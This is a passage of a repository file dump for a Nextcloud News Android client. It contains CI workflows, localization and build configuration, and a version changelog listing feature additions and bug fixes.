[
  {
    "path": ".editorconfig",
    "content": "[*.{kt,kts}]\nmax_line_length = 120\n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "# These are supported funding model platforms\n\ncustom: https://www.paypal.com/donate?hosted_button_id=5TJ6LTEVTDF5J\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n- package-ecosystem: gradle\n  directory: \"/\"\n  schedule:\n    interval: daily\n  open-pull-requests-limit: 5\n- package-ecosystem: github-actions\n  directory: \"/\"\n  schedule:\n    interval: daily\n  open-pull-requests-limit: 5\n"
  },
  {
    "path": ".github/workflows/analysis.yml",
    "content": "name: Analysis\n\n# Declare default permissions as read only.\npermissions: read-all\n\non: [push, pull_request]\njobs:\n  detekt:\n    name: detekt\n    runs-on: ubuntu-latest\n    if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name\n    steps:\n      - uses: actions/checkout@v6\n      - name: set up JDK 21\n        uses: actions/setup-java@v5.2.0\n        with:\n          distribution: 'temurin'\n          java-version: 21\n      - name: Run detekt\n        run: bash ./gradlew detekt\n  spotless:\n    name: Spotless (ktlint)\n    runs-on: ubuntu-latest\n    if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name\n    steps:\n      - uses: actions/checkout@v6\n      - name: set up JDK 21\n        uses: actions/setup-java@v5.2.0\n        with:\n          distribution: 'temurin'\n          java-version: 21\n      - name: Run spotless\n        run: bash ./gradlew spotlessCheck\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: Android CI\n\non: [push, pull_request]\njobs:\n  validation:\n    name: Validate Gradle Wrapper\n    runs-on: ubuntu-latest\n    if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name\n    steps:\n      - uses: actions/checkout@v6\n      - uses: gradle/actions/wrapper-validation@v6\n\n  lint:\n    name: Run Lint Checks\n    runs-on: ubuntu-latest\n    if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name\n    steps:\n      - uses: actions/checkout@v6\n      - name: set up JDK 21\n        uses: actions/setup-java@v5.2.0\n        with:\n          distribution: 'temurin'\n          java-version: 21\n      - name: Lint\n        run: bash ./gradlew lint\n\n  test:\n    name: Run Unit Tests\n    runs-on: ubuntu-latest\n    if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name\n    steps:\n      - uses: actions/checkout@v6\n      - name: set up JDK 21\n        uses: actions/setup-java@v5.2.0\n        with:\n          distribution: 'temurin'\n          java-version: 21\n      - name: Unit tests\n        run: bash ./gradlew test --stacktrace\n\n  apk:\n    name: Generate APK\n    runs-on: ubuntu-latest\n    if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name != github.event.pull_request.base.repo.full_name\n    steps:\n      - uses: actions/checkout@v6\n      - name: set up JDK 21\n        uses: actions/setup-java@v5.2.0\n        with:\n          distribution: 'temurin'\n          java-version: 21\n      - name: Build debug APK\n        run: bash ./gradlew assembleDev --stacktrace\n      - name: Upload APK\n        uses: actions/upload-artifact@v7\n        with:\n          name: app-dev-debug\n          path: News-Android-App/build/outputs/apk/dev/debug/News-Android-App-dev-debug.apk\n"
  },
  {
    "path": ".github/workflows/codeql.yml",
    "content": "name: CodeQL\n\non:\n  push:\n    branches-ignore:\n      - 'dependabot/**'\n  pull_request:\njobs:\n  codeql:\n    name: CodeQL security scan\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v6\n      - name: set up JDK 21\n        uses: actions/setup-java@v5.2.0\n        with:\n          distribution: 'temurin'\n          java-version: 21\n      - name: Initialize CodeQL\n        uses: github/codeql-action/init@v4\n        with:\n          languages: java\n      - name: Build debug APK\n        run: bash ./gradlew assembleDev\n      - name: Perform CodeQL Analysis\n        uses: github/codeql-action/analyze@v4\n"
  },
  {
    "path": ".gitignore",
    "content": "/local.properties\n/.idea/workspace.xml\n.DS_Store\n\n# built application files\n*.apk\n*.ap_\n\n# files for the dex VM\n*.dex\n\n# Java class files\n*.class\n\n# generated files\nbin/\ngen/\n\n# Local configuration file (sdk path, etc)\nlocal.properties\n\n# Eclipse project files\n.classpath\n.project\n.settings\n\n# Android Studio\n.idea/\n.gradle\n/*/local.properties\n/*/out\n/*/*/build\nbuild/*\n/*/*/production\n*.iml\n*.iws\n*.ipr\n*~\n*.swp\nNews-Android-App/out.map\nNews-Android-App/extra/release/*\nNews-Android-App/oss/release/*\nfastlane/Appfile\nfastlane/report.xml\ngradle/verification-keyring.gpg\n"
  },
  {
    "path": ".tx/config",
    "content": "[main]\nhost = https://www.transifex.com\n\n[o:nextcloud:p:nextcloud:r:android-news]\nfile_filter = News-Android-App/src/main/res/values-<lang>/strings.xml\nsource_file = News-Android-App/src/main/res/values/strings.xml\nsource_lang = en\ntype        = ANDROID\nlang_map    = ar_YE: ar-rYE, es_CL: es-rCL, ii_CN: ii-rCN, lt_LT: lt-rLT, pt_BR: pt-rBR, nso_ZA: nso-rZA, rw_RW: rw-rRW, sr_RS: sr-rRS, bo_CN: bo-rCN, en_MY: en-rMY, tg_TJ: tg-rTJ, de_LI: de-rLI, en_JM: en-rJM, en_NZ: en-rNZ, pa_IN: pa-rIN, tr_TR: tr-rTR, en_DE: en-rDE, en_IN: en-rIN, es_DO: es-rDO, hu_HU: hu-rHU, ml_IN: ml-rIN, fo_FO: fo-rFO, gl_ES: gl-rES, smj_SE: smj-rSE, ar_LB: ar-rLB, es_CO: es-rCO, et_EE: et-rEE, ha_NG: ha-rNG, as_IN: as-rIN, es_MX: es-rMX, iu_CA: iu-rCA, fr_LU: fr-rLU, mt_MT: mt-rMT, quz_PE: quz-rPE, se_NO: se-rNO, ca@valencia: ca-rXV, id_ID: id-rID, mi_NZ: mi-rNZ, uk_UA: uk-rUA, kl_GL: kl-rGL, smn_FI: smn-rFI, ar_AE: ar-rAE, arn_CL: arn-rCL, ka_GE: ka-rGE, ca_ES: ca-rES, es_HN: es-rHN, ar_QA: ar-rQA, gu_IN: gu-rIN, ar_SY: ar-rSY, bg_BG: bg-rBG, da_DK: da-rDK, se_SE: se-rSE, sma_SE: sma-rSE, sr_BA: sr-rBA, ar_EG: ar-rEG, fi_FI: fi-rFI, gd_GB: gd-rGB, sr_ME: sr-rME, en@pirate: en-rXP, lv_LV: lv-rLV, sv_SE: sv-rSE, de_CH: de-rCH, fa_IR: fa-rIR, mn_MN: mn-rMN, sms_FI: sms-rFI, ur_PK: ur-rPK, zh_HK: zh-rHK, tn_ZA: tn-rZA, ar_LY: ar-rLY, fil_PH: fil-rPH, ku_IQ: ku-rIQ, nn_NO: nn-rNO, sah_RU: sah-rRU, ta_LK: ta-rLK, en_ZW: en-rZW, ro_RO: ro-rRO, en_TT: en-rTT, br_FR: br-rFR, es_BO: es-rBO, tk_TM: tk-rTM, es_419: es-rUS, qut_GT: qut-rGT, bn_BD: bn-rBD, en_AU: en-rAU, hsb_DE: hsb-rDE, en_IE: en-rIE, kk_KZ: kk-rKZ, mr_IN: mr-rIN, ar_BH: ar-rBH, ru_RU: ru-rRU, be_BY: be-rBY, es_CR: es-rCR, es_PY: es-rPY, mk_MK: mk-rMK, prs_AF: prs-rAF, it_CH: it-rCH, ps_AF: ps-rAF, ar_DZ: ar-rDZ, hr_HR: hr-rHR, zh_CN.GB2312: zh-rBG, pl_PL: pl-rPL, sr_CS: sr-rCS, vi_VN: vi-rVN, mn_CN: mn-rCN, es_PA: es-rPA, hr_BA: hr-rBA, ja_JP: ja-rJP, en_CA: en-rCA, en_US: en-rUS, he_IL: he-rIL, wo_SN: wo-rSN, sq_AL: sq-rAL, ar_KW: ar-rKW, ar_TN: ar-rTN, de_DE: de-rDE, or_IN: or-rIN, rm_CH: rm-rCH, ba_RU: ba-rRU, en_ZA: en-rZA, es_ES: es-rES, bs_BA: bs-rBA, cy_GB: cy-rGB, en_GB: en-rGB, moh_CA: moh-rCA, ms_MY: ms-rMY, syr_SY: syr-rSY, zh_MO: zh-rMO, dv_MV: dv-rMV, se_FI: se-rFI, it_IT: it-rIT, quz_BO: quz-rBO, de_AT: de-rAT, kok_IN: kok-rIN, fy_NL: fy-rNL, ig_NG: ig-rNG, ko_KR: ko-rKR, fr_MC: fr-rMC, zh_TW: zh-rTW, am_ET: am-rET, ar_OM: ar-rOM, es_VE: es-rVE, oc_FR: oc-rFR, co_FR: co-rFR, nl_NL: nl-rNL, pt_PT: pt-rPT, lb_LU: lb-rLU, ar_JO: ar-rJO, cs_CZ: cs-rCZ, es_PE: es-rPE, es_PR: es-rPR, ga_IE: ga-rIE, tzm_DZ: tzm-rDZ, yo_NG: yo-rNG, hy_AM: hy-rAM, az_AZ: az-rAZ, de_LU: de-rLU, es_GT: es-rGT, nl_BE: nl-rBE, fr_CA: fr-rCA, smj_NO: smj-rNO, en_PH: en-rPH, es_UY: es-rUY, km_KH: km-rKH, sl_SI: sl-rSI, sa_IN: sa-rIN, si_LK: si-rLK, tt_RU: tt-rRU, zh_CN: zh-rCN, af_ZA: af-rZA, en_BZ: en-rBZ, fr_CH: fr-rCH, nb_NO: nb-rNO, sma_NO: sma-rNO, is_IS: is-rIS, kn_IN: kn-rIN, ky_KG: ky-rKG, my_MM: my, sr@latin: sr-rSP, gsw_FR: gsw-rFR, uz_UZ: uz-rUZ, zh_SG: zh-rSG, zu_ZA: zu-rZA, fr_BE: fr-rBE, lo_LA: lo-rLA, ms_BN: ms-rBN, ar_SA: ar-rSA, sw_KE: sw-rKE, ar_MA: ar-rMA, xh_ZA: xh-rZA, en_SG: en-rSG, es_EC: es-rEC, fr_FR: fr-rFR, ug_CN: ug-rCN, el_GR: el-rGR, quz_EC: quz-rEC, sv_FI: sv-rFI, th_TH: th-rTH, ar_IQ: ar-rIQ, es_NI: es-rNI, es_SV: es-rSV, sk_SK: sk-rSK, tl_PH: tl-rPH, bn_IN: bn-rIN, es_AR: es-rAR, hi_IN: hi-rIN, ta_IN: ta-rIN, te_IN: te-rIN, eu_ES: eu-rES, dsb_DE: dsb-rDE, ne_NP: ne-rNP\n\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "0.9.9.95\n---------------------\n- Dependency updates\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1628\">!1637 - Fix bug in \"Mark all unread items as read\" feature (thanks to @Unpublished)</a>\n\n0.9.9.94\n---------------------\n- Dependency updates\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1628\">!1628 - Make syncing when reaching the bottom optional (thanks to @DoHe)</a>\n\n0.9.9.93\n---------------------\n- Dependency updates\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1612\">!1612 - Streamline FAB-aware\n  Snackbar usage (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1609\">!1609 - Only mark unread\n  items as read</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1620\">#1620 - Fix broken\n  changelog</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1618\">#1618 - Fixed broken sync\n  when tapping nextcloud logo</a>\n\n0.9.9.92\n---------------------\n- Dependency updates\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1603\">!1603 - Automatically\n  trigger sync when bottom is reached</a>\n- Added - <a href=\"https://github.com/nextcloud/news-android/issues/1367\">#1367 - Add Pinch to zoom\n  for images (thanks to @DoHe)</a>\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1531\">!1531 - Show snackbar after\n  batch marking items as read (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1590\">#1590 - Fixed broken\n  widget</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1591\">#1591 - Handle URL\n  encoding when reading mediaThumbnail from body (thanks to @DoHe)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1576\">#1576 - Import opml do not\n  work at all</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1510\">#1510 - Client sends form\n  data when POSTing instead of JSON</a>\n- Many smaller changes under the hood\n\n0.9.9.91\n---------------------\n- Dependency updates\n- Added - <a href=\"https://github.com/nextcloud/news-android/issues/1490\">#1490 - Option to Increase Text Size in Detail View for Accessibility</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1456\">#1456 - Bullet points in unsorted item list look all of the same level</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1428\">#1428 - Font size a lot smaller when language set to other than English (superseded by #1490) (@thanks to @cemrich)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1498\">!1498 - Fix crash when clearing cache</a>\n\n0.9.9.90\n---------------------\n- Dependency updates\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1273\">!1273 - Add \"remove podcast\" in toolbar and \"Downloaded podcasts\" special folder (thanks to @mkanilsson)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1400\">!1400 - Code section shows the same listing in some code posts (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1410\">!1410 - Changing theme (light/dark) caused favicons to display in wrong color (thanks to @Unpublished / @DoHe)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1035\">#1035 - Widget opens wrong article / #1355 Clicking on the widget jumps to a previously opened article (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1381\">#1381 - Crash when opening downloaded podcasts (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1368\">#1368 - Images not shown in Details view of specific feeds</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1382\">#1382 - Reduced apk size by 8% (thanks to @connyduck)</a>\n\n0.9.9.85\n---------------------\n- Dependency updates\n- Fix crash when playing video podcasts on Android Auto\n- Add Google News Policy / Contact Us page\n\n0.9.9.84\n---------------------\n- Dependency updates\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1332\">!1332 - Typo in selected browser preference usage (thanks to @thebaztet)</a>\n\n0.9.9.83\n---------------------\n- Dependency updates\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1315\">!1315 - Fixed crash when reporting errors (API 33 and below) (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1311\">!1311 - Fixed flickering of toolbar (thanks to @cemrich)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1306\">!1306 - Fix avatar placeholder renders white on white in light theme (thanks to @cemrich)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1303\">!1303 - Fix app crashing when streaming or downloading podcasts (thanks to @cemrich)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1304\">!1304 - Back button preference and functionality to open sidebar (thanks to @mentalinc)</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1307\">!1307 - Enable androids autofill service in login mask (thanks to @cemrich)</a>\n\n0.9.9.82\n---------------------\n- Note: Due to changes to the database schema the data will be cleared when upgrading\n- Note: What a release! Thank you for the endless contributions from the community! \n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1262\">!1262 - Add shortcut to \"Show only unread articles\" in the toolbar (thanks to @mkanilsson)</a>\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1264\">!1264 - Add share to swipe option (thanks to @mkanilsson)</a>\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1266\">!1266 - per-feed open-in settings (thanks to @mkanilsson)</a>\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1265\">!1265 - Allow searching both title and body at the same time (thanks to @mkanilsson)</a>\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1271\">!1271 - Enable support for predictive back gestures (thanks to @KingOfDog)</a>\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1286\">!1286 - Show changelog after update of app</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1256\">!1256 - Fix starred items not obeying sort order (thanks to @mkanilsson)</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1186\">!1186 - Material 3 Theme (thanks to @stefan-niedermann)</a>\n- Changed - Dependency updates\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1255\">!1255 - add line-height for h1 tags (thanks to @mkanilsson)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1257\">!1257 - Seeking in podcast player doesn't work (thanks to @annasoin)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1272\">!1272 - Fix weird formatting in articles (thanks to @mkanilsson)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1276\">#1276 - active toggles lack color</a>\n\n0.9.9.81\n---------------------\n- Changed - Updated SSO lib\n\n0.9.9.80\n---------------------\n- Changed - Internal dependency updates\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1212\">!1212 - Nextcloud Single-Sign-On updates</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1200\">!1200 - Bail out early on generating unread rss items notifications (thanks to @Unpublished)</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1199\">!1199 - Housekeeping / Remove unused classes (thanks to @Unpublished)</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1195\">!1195 - Migrate some classes to Kotlin (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1214\">!1214 - Text formatting is a bit weird</a>\n\n0.9.9.79\n---------------------\n- Changed - Internal dependency updates\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1171\">!1171 - Allow selecting feed URL in options dialog (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1187\">!1187 - Fix crash related when trying to move a feed (thanks to @Unpublished)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1184\">!1184 - Prevent podcast view from showing up on every app start (thanks to @Unpublished)</a>\n\n0.9.9.78\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/pull/1134\">!1134 - Fix broken Notifications on Android 13 (thanks to @Unpublished)</a>\n\n0.9.9.77\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1111\">#1111 - Fix incorrect height of listview rows</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/pull/1115\">!1115 - Switched from Universal-Image-Loader to Glide as image loading library</a>\n- Added - Added support for SVG favicons\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1130\">!1130 - Added support for external media players (thanks to @JFronny)</a>\n\n0.9.9.76\n---------------------\n- Security related fixes (only F-Droid users affected): [#1109](https://github.com/nextcloud/news-android/issues/1109) / [fdroid/fdroiddata#2753](https://gitlab.com/fdroid/fdroiddata/-/issues/2753)\n\n0.9.9.75\n---------------------\n- Fixed crash when relative links in articles are clicked\n- Support Material You Theming with App Icon (thanks to @salixor)\n\n0.9.9.74\n---------------------\n- Fixed incompatibility issues with Nextcloud News 18.1.0\n\n0.9.9.73 (Beta)\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1061\">#1061 App sometimes crashes on long tap on detail view</a>\n- Fixed database crashed by reducing the number of loaded items per page\n- Fixed crash when long tapping folders in navigation drawer\n- Fixed app crash when ui updates\n- Fixed crashes caused by swiping on articles in list view\n\n0.9.9.72 (Beta)\n---------------------\n- Added - <a href=\"https://github.com/nextcloud/news-android/pull/1066\">!1066 Support for Folder Management (Rename, Remove, Create) (thanks @proninyaroslav)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1075\">#1075 Feed name update not updating in RSS items (thanks @proninyaroslav)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1064\">#1064 Add button to exit audio/podcast player once it's open</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1048\">#1048 Fix broken podcast time scrolling</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1053\">#1053 Podcast player disappears after rotating device</a>\n\n0.9.9.71 (Beta)\n---------------------\n- Added - <a href=\"https://github.com/nextcloud/news-android/issues/1060\">#1060 Always show incognito mode icon if incognito mode is enabled</a>\n\n0.9.9.70 (Beta)\n---------------------\n- Fixed - Try to fix more app crashes during sync (reduce number of items per sync)\n- Fixed - Speedup detail view by not storing instance state of webview\n\n0.9.9.69\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1055\">#1055 App crashes during sync (OutOfMemory Error)</a>\n\n0.9.9.68 (Beta)\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1012\">#1012 Loadingbar is visible even though page is done loading</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1029\">#1029 Unread list does not actualize after manual update (Only when using legacy login)</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1046\">#1046 \"No notification\" setting still generates notifications in separate notification channel</a>\n- Fixed - Fix missing images if webview has been restored (e.g. after app has been in background)\n- Fixed - News App is broken after restoring it from a backup (when using SSO)\n\n0.9.9.67 (Beta)\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1044\">#1044 Colors/Theme sometimes not applied</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1042\">#1042 Relative image links/URLs don't open correctly</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1039\">#1039 SSO not working with Beta Version of Files App</a>\n\n0.9.9.66 (Beta)\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1036\">#1036 Fixed crashes on Android 12 devices</a> (#1032 / #1037)\n\n0.9.9.65 (Beta)\n---------------------\n- Fixed - Fix broken sync due to incompatibility between latest nextcloud files app and Single Sign On Library\n\n0.9.9.64 (Beta)\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1006\">#1006 Refactor and fix sync issues</a>\n- Changed - Improve OPML import dialog\n- Changed - Increase the soft limit of articles in the app from 1500 to 5000 articles\n\n0.9.9.63 (Beta)\n---------------------\n- Added - <a href=\"https://github.com/nextcloud/news-android/issues/1002\">#1002 support for more granular notification settings</a>\n- Changed - added file extension to downloaded/exported images\n- Changed - allow clicks on notification after an image has been saved/downloaded from detail view\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/1018\">#1018 Item state sync is not working correctly when many items have been changed</a>\n- Fix security issue GHSL-2021-1033 (Thanks to GitHub Security Lab - with special thanks to Tony Torralba and Kevin Backhouse)\n\n0.9.9.62\n---------------------\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/824\">#824 Enhance empty content view (thanks Stefan)</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/976\">#976 Sync Interval - settings menu is now a popup (thanks @fabienli)</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/974\">#974 only show notification if it is different to the previous unread articles list</a>\n\n0.9.9.61\n---------------------\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/969\">#969 Remove unnecessary Notifications setting</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/968\">#968 Rename \"Light/Dark (based on Daytime)\" to \"System Default\"</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/960\">#960 Make articles respect default system font</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/964\">#964 Crash when using card layout</a>\n\n0.9.9.60\n---------------------\n- Changed - Major Design Update thanks to @stefan-niedermann!\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/944\">#944 Drop dark mode based on location</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/958\">#958 OPML Export Dialog is now translated </a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/945\">#945 New Thubmnails list layout does not show favorite status</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/938\">#938 Everincreasing Fontsize with Fontsize setting \"Big\"</a>\n\n0.9.9.54\n---------------------\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/918\">#918 Poor scroll performance for some feeds</a>\n- Fixed - <a href=\"https://github.com/nextcloud/news-android/issues/903\">#903 Bottom part of article not visible because of action icons</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/929\">#929 Widget should respect dark / light theme</a>\n- Changed - Auto-Sync is enabled by default now (every 15min)\n- Changed - Minor adjustments to UI (including new default list layout)\n- Changed - New list layout in the app\n- Changed - Widget redesign\n\n0.9.9.53\n---------------------\n- Version bump for another Google review\n\n0.9.9.52\n---------------------\n- Version bump for another Google review\n\n0.9.9.51\n---------------------\n- Version bump for another Google review\n\n0.9.9.50\n---------------------\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/880\">#880 Starred items were not synchronized in certain situations</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/889\">#889 Fast Access Functions activated on startup but settings deactivated</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/892\">#892 Refresh unread items view after update</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/403\">#403 Problem with syncing \"old\" favorites</a>\n- Changed - <a href=\"https://github.com/nextcloud/news-android/issues/896\">#896 Change User-Info API</a>\n\n0.9.9.41\n---------------------\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/887\">#887 Fix crashes due to huge rss items</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/878\">#878 Floating menu setting had no effect / Show either the floating or the kebab menu</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/issues/754\">#754 Add more meaningful notifications</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/pull/885\">!885 Enable auto sync by default (every 24h)</a>\n\n0.9.9.40\n---------------------\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/344\">#344 Starred items are not synced correctly</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/pull/881\">!881 When enabled, also use custom tabs when skipping detailed view</a>\n\n0.9.9.39\n---------------------\n- Google refused update\n\n0.9.9.38\n---------------------\n- Feature - <a href=\"https://github.com/nextcloud/news-android/issues/868\">#868 - Add thumbnail support (media) articles</a>\n- Feature Removal: Double-Tap-To-Star in detail view\n- Fix app crashes \n\n0.9.9.37\n---------------------\n- New feature: Fast actions (Huge thanks to @emasty)\n\n0.9.9.36\n---------------------\n- Reduce min-newsApi level to 17\n\n0.9.9.35\n---------------------\n- Fix Single-Sign On related Issues\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/769\">#769 - Nextcloud API not responding</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/830\">#830 - Only ask for Location permission if auto theme enabled</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/786\">#786 - Error loading xml resource in Android 4.4</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/pull/833\">#833 - fix tables are too wide</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/issues/821\">#821 - \"Add feed\"-icon is misaligned</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/pull/827\">#821 - Text in drawer not bold, except of \"add new feed\" and \"settings\" (thanks @tobiasKaminsky)</a>\n\n0.9.9.34 / 0.9.9.33\n---------------------\n- Fix F-Droid build issues\n\n0.9.9.32\n---------------------\n- Fix bug that items containing \"image/jpeg\" as enclosure, are interpreted as podcasts\n- Fix app crash when changing server settings\n- Improve opml import / export\n\n0.9.9.31\n---------------------\n- Feature - <a href=\"https://github.com/nextcloud/news-android/issues/787\">#787 - Display profile avatar in the sidenav</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/issues/788\">#788 - Move settings menu to sidenav as last entry (thanks @emasty)</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/issues/789\">#789 - Add a new feed should be in sidenav (thanks @emasty)</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/issues/804\">#804 - Support Android 10 System DayNight Modes (thanks @wbrawner)</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/pull/811\">#811 - Android Auto Support (including Voice Control)</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/pull/810\">#810 - Automatically add debug information when reporting github issue through the app</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/pull/807\">#807 - Fixed open article in browser call (thanks @emasty)</a>\n- Bug fix - <a href=\"https://github.com/nextcloud/news-android/pull/806\">#806 - Update app icon background layer (thanks @stefan-niedermann)</a>\n\n0.9.9.28 / 0.9.9.29 / 0.9.9.30\n---------------------\n- Retry rejected review by google due to new android auto support\n- Fix - <a href=\"https://github.com/nextcloud/news-android/issues/795\">#795 Adjust app icon to match new regulations</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/pull/799\">#799 - Added podcast browser for Android Auto App</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/issues/798\">#798 better display of code blocks</a>\n- Feature - <a href=\"https://github.com/nextcloud/news-android/pull/791\">#791 Implement incognito mode</a>\n\n0.9.9.27\n---------------------\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/795\">#795 Adjust app icon to match new regulations</a>\n- Fix - Fix validation of urls during manual account setup\n\n0.9.9.26\n---------------------\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/726\">#726 Add new feed fails</a>\n- Fix - <a href=\"https://github.com/owncloud/News-Android-App/issues/744\">#744 Fix issues when adding feeds (thanks @Unpublished)</a>\n- Feature - <a href=\"https://github.com/owncloud/News-Android-App/issues/747\">#747 Add option to share article when using chrome-custom-tabs</a>\n- Fix - Reset database when account is stored\n- Fix - Workaround for app-crashes due to widget 